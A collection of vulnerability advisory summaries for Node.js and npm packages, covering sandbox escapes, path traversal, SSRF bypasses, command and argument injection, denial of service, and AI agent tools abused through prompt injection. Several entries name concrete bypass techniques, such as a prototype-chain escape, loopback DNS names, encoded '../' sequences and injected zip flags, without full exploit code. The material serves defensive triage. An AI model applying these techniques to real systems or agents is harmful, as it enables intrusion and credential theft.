Sandbox escape and remote code execution in vm2 versions 3.11.4 through 3.11.6 allow JavaScript executed inside a NodeVM to break out and run arbitrary commands with the privileges of the host Node.js process. The flaw is reachable only in a specific, non-default configuration where the NodeVM is created with a truthy `nesting` value and an array-shaped `require` option (for example `new NodeVM({nesting: true, require: []})`); in that case the array satisfies a guard intended to reject nesting without an explicit require configuration, and the resulting resolver falls back to a nesting override that permits the sandboxed code to require the host `vm2` module and construct an inner NodeVM with an attacker-chosen builtin allowlist such as `child_process`. Exploitation requires no authentication or user interaction (CVSS 4.0 vector reports PR:N/UI:N) beyond the ability to supply code the sandbox runs, which is vm2's intended threat model; there is no public exploit code or CISA KEV confirmation of active exploitation at time of analysis, but the impact is complete confidentiality, integrity, and availability loss on the host, and the vendor CVSS 4.0 score of 9.5 is consistent with that assessed impact.
Sandbox escape in vm2 before 3.11.8 allows unauthenticated remote attackers to achieve full remote code execution and host process information disclosure by crafting a host-wrapped AggregateError that is revisited within a single exception-handler traversal, bypassing handleException's cycle detection and exposing unsanitized host proxies in the errors array. The flaw is an incomplete fix for Error.cause sanitization, and exploitation requires the host application to execute attacker-controlled JavaScript inside a vulnerable vm2 instance, which is vm2's normal use case, though the malformed-error and traversal condition is non-trivial (CVSS AC:H/AT:P). No public exploit identified at time of analysis; environments that do not run untrusted code in vm2, or that have migrated off the deprecated vm2, are not exposed.
Unbounded recursion in google-protobuf (the protobuf-javascript npm package) lets an unauthenticated, remote attacker crash any Node.js service that passes attacker-supplied bytes to a generated deserializeBinary() API - a few bytes encoding deeply nested unknown START_GROUP fields drive the parser into uncontrolled recursion until the call stack is exhausted and a RangeError: Maximum call stack size exceeded terminates the process. All published versions of the package are affected, and no schema knowledge is required because the flaw sits in the handling of unknown group fields rather than in any particular message definition. Impact is confined to availability (process crash) rather than confidentiality or integrity, and no public exploit identified at time of analysis; the practical prerequisite is an endpoint that deserializes untrusted binary protobuf, which makes this a high-priority denial-of-service issue for such deployments.
Denial of service in the Joi npm package's isoDate() validation rule allows unauthenticated remote attackers to stall Node.js applications by supplying a valid ISO date followed by a long run of fractional-second digits, causing quadratic regex engine restarts. Affected versions are 17.2.0 through 17.13.6 and 18.0.0 through 18.2.5; no public exploit identified at time of analysis, but the availability impact is high (CVSS 8.7) and unbounded inputs can cause multi-second stalls per request. Vendor-released patches 17.13.7 and 18.2.6 resolve the issue.
Email can be delivered to an unintended, attacker-controlled domain by Nodemailer before 9.1.0, because the library's recipient normalizer encodes international domain names with a bundled raw RFC 3492 Punycode codec instead of applying UTS-46 mapping, so a domain that a standards-compliant validator folds to a trusted domain resolves to a different xn-- A-label at SMTP delivery time. The flaw is an interpretation conflict (CWE-436) reached over the network by unauthenticated senders (assessed CVSS:3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N, vendor CVSS:4.0 8.3), but exploitation is conditional: the consuming application must both allow-list, same-domain check, or user-confirm the recipient with a UTS-46/IDNA-conformant parser and then rely on Nodemailer to deliver to that already-approved address. No public exploit code has been identified at time of analysis and the issue is not in CISA KEV; a vendor-released fix exists as Nodemailer 9.1.0.
Denial of service in Nodemailer before 9.1.0 allows remote, unauthenticated attackers to stall a Node.js process by supplying a crafted comma-separated address list - a single To, Cc, Bcc, From or Reply-To value, or any string fed to the exported addressparser - that triggers quadratic (O(n²)) parsing and blocks the single-threaded event loop at 100% CPU. The issue requires no special library configuration and no cooperating receiver: an approximately 1.5 MB address value freezes the process for roughly 25-30 seconds, and cost scales with the square of input size, so multi-megabyte values can stall a server for minutes. Impact is availability-only with no data exposure, and exploitation depends on the host application passing attacker-influenced data into an address field; applications that only send to fixed or internally controlled addresses are not affected. There is no confirmed active exploitation (not in CISA KEV) and no public exploit identified at time of analysis; a vendor-released patch is available as Nodemailer 9.1.0.
Path traversal in decap-server's local proxy containment guard allows an unauthenticated attacker to read, write, or delete files outside the intended repository root whenever a sibling directory's name begins with the repository directory's name. Affected is the decap-server package shipped in the decaporg/decap-cms monorepo, confirmed at commit 11f35405cd1a1d1216e97b890173f46436752019, with the CPE wildcard suggesting all tracked versions of decap-server are in scope. Exploitation requires the local proxy backend to be running, victim interaction to drive requests to it, and the presence of a suitably named sibling directory containing the target files; publicly available exploit code exists, but there is no indication of confirmed active exploitation (no CISA KEV listing) at time of analysis, so this reads as a real but tightly scoped issue rather than a mass-exploitation priority.
Socket and memory exhaustion in node-opcua clients (packages node-opcua, node-opcua-client and node-opcua-transport, versions 2.0.0 through 2.169.x) can terminate the Node.js process or container via OOM kill when the client is configured with the default keepSessionAlive: true and connects to an OPC UA server whose clock is skewed well beyond the server's RequestHeader timestamp tolerance. Two compounding defects cause this: the keepalive manager misclassifies the server's BadInvalidTimestamp status code as a network outage and forces a full transport reconnection on every keepalive cycle, while the HEL/ACK failure handler calls socket.end() instead of socket.destroy(), leaving each abandoned connection in FIN-WAIT-2 so leaked sockets accumulate roughly once per keepAliveInterval (about 1,200 per hour at the default 3-second interval). The vector is network-reachable and unauthenticated (PR:N), but exploitation is high-complexity and conditional on clock skew plus a peer that never completes the TCP close; no public exploit code or confirmed active exploitation was identified at time of analysis, and impact is confined to availability of the affected client process (C:N/I:N/A:H).
Authorization bypass in @fastify/auth versions 5.0.0 through 5.1.0 lets an authenticated low-privileged attacker who possesses a credential satisfying only the final member of a nested AND group, such as a valid API key without administrator rights, be authorized instead of rejected. The flaw occurs when strategies are composed with the relation "or" option together with the run "all" option and an entry is a nested array acting as an AND group, causing the group result to collapse to its last check; a mirror order-dependent bypass exists for top-level relation "and" with a nested "or" group. No public exploit identified at time of analysis, and there is no CISA KEV confirmation of active exploitation; the vendor-released fix is version 5.1.1 or later.
Authenticated OpenCTI users holding JSON mapper creation permission can craft a catastrophically backtracking regular expression in the extractWithRegexp mapper formula, blocking the Node.js event loop and making the GraphQL API unavailable to every user on the instance. The flaw affects only availability — no data is exposed or modified — and requires the attacker to already hold a privileged mapper-management role, but scheduled ingestion can re-trigger the lockup repeatedly without further attacker action, and recovery may require disabling the mapper and restarting the process. Fixed in OpenCTI 7.260706.0, where the vulnerable JavaScript RegExp engine was replaced with RE2, a linear-time regex library; no public exploit code or CISA KEV listing was identified at time of analysis.
Server-side request forgery in mcp-searxng before 1.7.1 lets an unauthenticated network client coerce the MCP server into fetching internal-only resources. The web_url_read tool validates only the literal hostname string before handing the URL to undici's fetch, so an attacker-controlled hostname that DNS-resolves to a loopback, private, link-local, or cloud-metadata address passes the lexical check and is connected to by the OS resolver. Successful abuse can read internal HTTP services, leak credentials or service tokens, and enumerate reachable internal hosts; publicly available exploit code exists and EPSS remains low (0.14%, 3rd percentile), so this is a real but conditional risk concentrated in deployments that expose the default HTTP transport without the MCP_HTTP_HARDEN authorization layer.
Authenticated remote code execution affects Flowise versions before 3.1.4 through a validation bypass in MCP server configuration nodes: the path validation routine inspects the clean filename passed in the args array but never checks the cwd (working directory) parameter, so an account able to create or modify an MCP server node can point the working directory at attacker-controlled content and have the spawned process execute it. Publicly available exploit code exists, and the independent assessment rates the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (vendor score 9.0 under CVSS 4.0), meaning full confidentiality, integrity and availability loss once the low-privileged authentication prerequisite is satisfied. No CISA KEV entry confirms active exploitation at time of analysis, and CISA's SSVC decision marks the issue as not automatable, so real-world risk concentrates in deployments where ordinary user accounts can define or edit MCP server configuration.
Authenticated remote code execution in Flowise versions before 3.1.4 lets a low-privileged user who can create or edit a Custom MCP node run arbitrary code on the Flowise server by supplying attacker-controlled npm package names in the mcpServerConfig parameter, which Flowise then invokes through npx. The issue carries a vendor-published CVSS 4.0 score of 9.0, while our independent assessment rates it CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (8.8), reflecting that the attacker must first hold a valid Flowise account with access to the node editor - no pre-authentication path was identified. No public exploit code was identified at time of analysis and the vulnerability has not been confirmed actively exploited (no CISA KEV listing), so risk is driven mainly by how many users can reach the MCP node configuration UI and whether the instance is internet-facing or uses weak or shared credentials.
Code escaping sandbox in the PraisonAI npm package's built-in codeMode tool (praisonai 1.4.0 through 1.7.1) lets anyone who can influence the code string read host files, write or modify files, spawn subprocesses, and consume host process resources, despite the tool advertising a sandbox boundary. The implementation blocks a handful of literal source patterns and shadows process and require with undefined properties, but untrusted code can walk the JavaScript prototype chain (for example ({}).constructor.constructor) to recover the real Function constructor and reach process.mainModule.require, bypassing both controls at low complexity. The vulnerability is rated 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) with the vector indicating some prior privilege or context is needed to reach the tool; EPSS is low (0.65%, 49th percentile) and no public exploit code or confirmed active exploitation was identified at time of analysis, but the low attack complexity and high confidentiality, integrity, and availability impact make this a genuine high-priority fix rather than an inflated score.
Remote code execution in the PraisonAI TypeScript `codeMode` tool (npm package `praisonai` <= 1.7.1) lets an attacker who can influence the model-generated `code` argument escape the regex blocklist 'sandbox' and run arbitrary JavaScript with the host process's privileges, reading and writing files, harvesting environment credentials, and executing operating-system commands. The CVSS 3.1 vector is unauthenticated and network-facing (AV:N/AC:L/PR:N/UI:N, 9.8) with total confidentiality and integrity impact, though the real-world prerequisite is that `codeMode` is enabled for an agent and the attacker can steer the tool argument - typically through prompt injection into untrusted content the agent ingests. Publicly available proof-of-concept code exists (published in the GitHub advisory, demonstrated against Node.js v20.20.0), EPSS is a low 0.77% (54th percentile) and CISA SSVC records Exploitation: none, so there is no confirmation of active exploitation at time of analysis; the vendor fix is version 1.7.2.
Trust-boundary spoofing in the proxy-addr Node.js module (versions 1.1.0 through 2.0.7), the library that backs Express req.ip and req.ips, lets unauthenticated clients forge their apparent source address. When an operator declares a trusted-proxy subnet in IPv4-mapped IPv6 notation with an IPv4-sized prefix (e.g. ::ffff:10.0.0.0/8 rather than the correct /104), proxy-addr silently accepts it but trusts every IPv4 address on the internet, so the direct socket peer becomes trusted at hop 0 and any client can set an arbitrary X-Forwarded-For header. This is a fail-open regression introduced in 1.1.0, fixed in 2.0.8; no public exploit identified at time of analysis, and it is not in CISA KEV.
Remote authenticated users of the Plesk 'Ruby' (before 1.6.6) and 'Node.js Toolkit' (before 2.5.0) extensions can inject arbitrary shell directives into statically generated application startup code via custom environment variables, resulting in code execution with root privileges on the Plesk server. The flaw is a classic static code injection (CWE-96): user-supplied values are written verbatim into persisted configuration/startup files rather than being escaped. No public exploit code or CISA KEV listing is present in the provided intelligence, and no EPSS score was supplied, so exploitation appears limited to actors who already hold a valid low-privileged Plesk account; vendor patches are available.
Quadratic time complexity in Nodemailer's addressparser component, versions 9.1.0 through 10.0.4, allows remote unauthenticated attackers to block the Node.js event loop for multiple seconds by supplying crafted email addresses containing RFC 5322 comment-separated atoms. The root cause is a `slice(-1)` call on a growing string accumulator in `_handleAddress` that forces JavaScript engine string-flattening on every token, producing O(n²) parse time - empirical test data in the fix commit shows 1.5 MB of crafted input caused approximately 10 seconds of event-loop stall before the patch. No public exploit code has been identified at time of analysis, and the vulnerability is not listed in CISA KEV; however, the attack payload is trivially constructable by simple string repetition and requires no authentication.
Prototype pollution in the yayson npm JSON:API library (<= 4.2.0) lets a remote attacker corrupt Object.prototype by submitting a document whose resource type is "__proto__". Store/LegacyStore use the attacker-supplied type, id, and relationship names as plain-object keys in internal lookup tables, so a crafted JSON:API payload writes attacker-controlled key/value pairs onto every object in the Node.js process for its lifetime. Proof-of-concept code is published in the GitHub Security Advisory; there is no evidence of active exploitation. The guaranteed impact is process-wide denial of service and logic corruption, with escalation to authorization bypass or RCE dependent on gadgets in the consuming application.
SSRF fix bypass in FrontMCP v1.2.1 and its dependency mcp-from-openapi 2.3.0 allows authenticated users of hosted deployments to reach internal network services by supplying crafted OpenAPI specs containing external `$ref` URLs. The previous patch for CVE-2026-39885 introduced a hostname-string denylist that is circumvented via DNS names resolving to loopback (e.g., 127.0.0.1.nip.io), HTTP redirect chains to loopback after an initially allowed host, and IPv4-mapped IPv6 syntax (::ffff:127.0.0.1). A working proof-of-concept with five confirmed bypass vectors is included in the advisory; no CISA KEV listing exists at time of analysis.
Memory exhaustion DoS in the expressjs/compression Node.js middleware (versions before 1.8.2) allows remote unauthenticated attackers to crash any Express server using the package. When a client aborts an HTTP connection while a compressed response is in flight, the zlib transform stream allocated for that response is never destroyed, permanently leaking its native heap memory. An attacker can automate rapid request-then-abort cycles to exhaust all available server memory, causing process termination. The issue is fixed in 1.8.2 per the OpenJS Foundation advisory; no public exploit code or KEV listing has been identified at time of analysis.
Memory exhaustion in multiparty Node.js library (versions 2.1.0 through <4.3.1) allows any unauthenticated network attacker to crash the host process with a single crafted HTTP request. The parser accumulates multipart part headers into an unbounded in-memory buffer with no size cap, consuming available process memory until the Node.js server is killed. The vulnerability carries no confidentiality or integrity impact - this is a pure availability issue addressed in multiparty 4.3.1, which enforces a maximum on the bytes buffered per part header block.
Authorization bypass in @jhb.software/payload-alt-text-plugin v0.7.0 allows any authenticated Payload CMS user to read and overwrite the `alt` text and `keywords` fields of upload collection documents that collection-level access rules would otherwise deny them. The plugin's custom POST endpoints (`/api/alt-text-plugin/generate` and `/bulk`) invoke Payload's Local API without setting `overrideAccess: false`, causing the framework to silently skip all collection access control functions due to a JavaScript truthiness default (`undefined !== false → true`). A detailed proof-of-concept with Docker-based reproduction is publicly available in the GHSA advisory; no patch has been confirmed as of the advisory date.
OS command injection in @argos-ci/core <=6.2.0 allows any attacker who can influence a CI pipeline's branch or ref name to execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process. The vulnerable sink is in packages/core/src/ci-environment/git.ts:89, where execSync() receives an unsanitized branch string interpolated into a template literal passed directly to /bin/sh -c, which evaluates $() command substitution and other metacharacters before spawning git. A fully working proof-of-concept exploit exists (GHSA-4x45-gxvp-6283) and the attack surface is widened by the fact that hasRemoteContentAccess: false - the configuration that triggers the vulnerable code path - is the default for projects without a connected Git provider integration.
Credential exfiltration in Renovate (renovatebot/renovate) before 44.11.2 lets a malicious or compromised container registry steal the registry credentials Renovate holds. When enumerating container image tags/digests, Renovate follows an HTTP Link header pagination URL and re-attaches the original registry's credentials without checking that the follow-up URL shares the same origin (CWE-601 open redirect), so a hostile registry can redirect the authenticated request to an attacker-controlled host and capture the secrets. Reported by VulnCheck; no public exploit identified at time of analysis, and it is not in CISA KEV.
Credential disclosure in Renovate before 44.11.3 allows a malicious or compromised GitHub server to exfiltrate host credentials by returning a crafted HTTP Link header. When Renovate paginates GitHub API responses (as a repository host or via the github-releases, github-tags, or git-refs datasources), it blindly follows the 'next' pagination URL without verifying it still points to the originally-contacted host, sending the configured credentials to whatever host the attacker specifies. No public exploit has been identified and the issue is not in CISA KEV, but the CVSS 4.0 base score is 9.2 due to high confidentiality impact with a scope change.
Privilege escalation in capgo.app (npm package `capgo` ≤ 12.207.1) allows an authenticated org_member to promote an external account to org_admin or org_billing_admin by exploiting a missing role-rank comparison in the `validateInvite()` function of the invite-new-user Edge Function. The invitation-acceptance path compounds the issue by using the Supabase service-role key, which bypasses two dedicated database triggers designed to enforce privilege boundaries, resulting in full administrative control over the organization's apps, channels, members, and billing. No public exploit is identified at time of analysis; an upstream fix is available via PR #3096.
Path traversal in @openhop/server (npm, versions ≤0.3.5) allows unauthenticated remote attackers to read or permanently delete arbitrary `.yaml` files accessible to the OpenHop process outside its configured flow data directory. The root cause is that `FlowStore.filePath()` passes caller-supplied HTTP route parameters directly to Node.js `path.join()` without any sanitization or allowlist validation, and Fastify's underlying `find-my-way` router URL-decodes the parameter before it reaches application code, enabling `..%2F`-encoded directory traversal. A fully functional PoC is publicly available with Docker-based reproduction steps; no KEV listing at time of analysis. Docker deployments expose the server on all interfaces by default, enabling direct network exploitation without user interaction.
Remote code execution in functype-mcp-server 1.4.3 and earlier allows any MCP client - including an LLM agent manipulated via prompt injection - to execute arbitrary JavaScript in the server process by invoking the `set_functype_version` tool with a `file:`, `git+`, or URL package-alias as the version string. The server interpolates the unsanitized input directly into a `pnpm add` specifier, installs the attacker-controlled package as the `functype` alias, then immediately dynamic-imports `functype/cli` from the poisoned location, running module-level attacker code with full MCP server process privileges. A fully automated Docker-based proof-of-concept confirming end-to-end RCE is documented in GHSA-wcjj-9m6g-2fr2; no public exploitation has been confirmed (not in CISA KEV), and a patched version 1.4.4 is available.
Unauthenticated remote task execution in @yeger/turbo-graph ≤ 2.8.8 allows any adjacent-network attacker to invoke arbitrary Turborepo tasks with the victim developer's OS-level privileges. Two independent implementation flaws combine: the embedded Next.js server omits the hostname argument to Node.js `.listen()`, causing the process to bind on all interfaces (`0.0.0.0`/`::`), while the `/api/run` HTTP endpoint reads task names from an attacker-controlled query string and passes them directly to `spawn()` with no authentication, CSRF protection, or allowlist check. No public exploit database entry or CISA KEV listing was identified, but a fully functional PoC with containerized end-to-end reproduction is included in the GitHub Security Advisory GHSA-2r5q-h53f-9rp3, significantly lowering the bar to exploitation.
nuxt-ollama versions 1.2.26 through 1.3.0 unconditionally places the Ollama cloud API key into Nuxt's public runtime config, causing it to appear verbatim in every server-rendered HTML page inside the `window.__NUXT__` script block, readable by any unauthenticated HTTP client. Any visitor or web crawler that fetches any page of an affected application can extract the `api_key` from the serialized SSR payload with a single GET request, then impersonate the operator against the Ollama cloud API to incur billing charges, exhaust rate limits, or exfiltrate stored model data. A publicly available PoC using Docker and Python has dynamically confirmed the leak; no public exploit identified at time of analysis for active KEV-level exploitation.
Path traversal in the knowns npm documentation tool (versions ≤ 0.29.1) enables remote unauthenticated attackers to read, create, overwrite, or delete arbitrary files with a .md extension anywhere on the host filesystem, and to create arbitrary directories via os.MkdirAll. The Document API's sanitization function cleanDocPath() strips slashes and .md suffixes but leaves ../ sequences intact, allowing filepath.Join() to resolve paths outside the intended documents directory. In the default deployment - where the Management API binds to all interfaces without authentication - this is directly exploitable with a single crafted HTTP request, and the arbitrary-write primitive may be chained toward code execution. No confirmed active exploitation or public exploit code identified at time of analysis.
Argument injection in bestzip's nativeZip function (versions 2.2.6 and 3.0.2) allows attackers who control the destination path or source file entries to inject arbitrary flags into the underlying Info-ZIP binary, achieving command execution at the Node.js process privilege level. Two distinct injection vectors exist: passing a flag-like string such as `-n` as the destination consumes the `--` argument separator, allowing source entries like `--unzip-command` to be interpreted as zip binary flags that trigger shell execution during archive validation. Patched versions 2.2.7 and 3.0.3 apply `path.resolve()` to normalize the destination before constructing the argument list. No public exploit is identified at time of analysis and the CVE is not in CISA KEV.
TLS certificate validation is disabled by default in the Node.js WebSocket client of Eclipse Ditto (@eclipse-ditto/ditto-javascript-client-node 2.0.0-3.9.0 and predecessor _1.0 package 1.0.0-2.1.0), which hard-codes rejectUnauthorized:false when opening every wss:// connection. A man-in-the-middle attacker can present any certificate, complete the handshake, steal the credentials sent in the WebSocket upgrade's Authorization header, and read, alter or inject Ditto Protocol messages for the connection's lifetime. No public exploit identified at time of analysis; a vendor fix is available and the Java client, browser/DOM client and the Node.js HTTP transport are unaffected.
Authentication bypass via capture-replay in Microsoft Authentication Library (MSAL) for Node.js versions 1.0.0 through 5.5.x allows an unauthenticated network-adjacent attacker to spoof authenticated identity by replaying captured tokens. The CWE-294 root cause means a previously captured authentication artifact can be reused to impersonate a legitimate user, yielding high confidentiality and integrity impact consistent with the CVSS C:H/I:H scores. No public exploit or active exploitation is known at time of analysis, but Microsoft has released a patch at version 5.6.0.
Remote code execution is possible in fastify-cli 1.5.0 through 8.0.0 when the Node.js Inspector is activated via a debug flag: the CLI ignores the user-supplied bind address and instead binds the Inspector to an overly broad network interface, exposing it beyond the local loopback. Because the Node.js Inspector protocol (Chrome DevTools Protocol) permits unrestricted JavaScript evaluation, any remote party that can reach the exposed Inspector port gains full code execution on the developer's machine with no authentication required. No public exploit code has been identified at time of analysis, and the EPSS signal is not provided, but the Inspector protocol itself is well-understood and trivially exploitable once the port is reachable.
Remote code execution in SiYuan desktop before 3.8.2 allows an unauthenticated network attacker to achieve full Node.js-level system access by poisoning a victim's clipboard from a malicious web page. The paste handler in app/src/protyle/util/paste.ts treated the custom text/siyuan clipboard MIME type as implicitly trusted internal content and skipped HTML sanitization before rendering, and a secondary code path used a same-origin hidden iframe to parse large HTML blobs, permitting inline script execution. Because SiYuan's Electron desktop build enables Node.js integration in the renderer process, injected scripts escape the browser sandbox entirely and execute with the privileges of the running user. A vendor-released patch is available at v3.8.2; no public exploit has been identified at time of analysis.
Credential exposure in the @sap/cds-mtxs NPM library - the multitenancy and extensibility (MTXS) component of SAP's Cloud Application Programming Model (CAP) - lets an unauthenticated remote attacker send specially crafted requests to multitenant CAP applications that have extensibility enabled, harvest sensitive tenant credentials, and reuse them to replace or delete tenant data. The flaw is rooted in insufficient authorization/protection checks (CWE-522), yielding high integrity and availability impact with partial confidentiality exposure of business data. Reported and patched by SAP via SAP Note 3798315; no public exploit identified at time of analysis.
Path traversal in h3's serveStatic() function on Node.js allows unauthenticated remote attackers to read arbitrary files outside the configured static root directory. The root cause is that h3 uses srvx's FastURL class, which skips WHATWG URL normalization for performance - percent-encoded dot segments (%2e%2e) survive raw into decodeURI(), are decoded to ../, and are passed unsanitized to filesystem callbacks. A detailed proof-of-concept exploit chain is publicly documented in GHSA-wr4h-v87w-p3r7; no active exploitation confirmed in CISA KEV at time of analysis. Fixed in versions 1.15.6 and 2.0.1-rc.15.
Process-terminating denial of service in undici's WebSocket implementation allows remote unauthenticated attackers to crash any Node.js application that connects to an attacker-controlled or machine-in-the-middle-intercepted WebSocket endpoint. During the opening handshake, if a server returns a Sec-WebSocket-Protocol header that the client never offered, undici dereferences a null value and throws an uncaught TypeError inside a Promise microtask, bypassing all application-level error handlers and killing the entire Node.js process. Affected are undici 6.7.0 through 6.28.0, 7.0.0 through 7.29.0, and 8.0.0 through 8.10.1; no public exploit identified at time of analysis.
Abrupt TCP disconnections against undici's experimental WebSocketStream client crash the entire Node.js process: undici's internal socket-close handler unconditionally calls abort() on a writable stream that the application has locked with a writer, and discards the returned promise, so the resulting TypeError rejection is never observed and Node's default unhandled-rejection behavior terminates the process. Affected deployments are those running undici 7.0.0 through 7.29.0 or 8.0.0 through 8.10.1 and using the experimental WebSocketStream API to connect to a server an attacker controls or can MITM; the trigger is a single abrupt disconnect with no WebSocket close handshake, requiring no authentication and no user interaction (CVSS 3.1 7.5, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, CWE-248). No public exploit code identified at time of analysis, EPSS is 0.35% (28th percentile), and no CISA KEV listing exists; the impact is bounded to availability loss in the subset of services that actually use WebSocketStream against untrusted endpoints.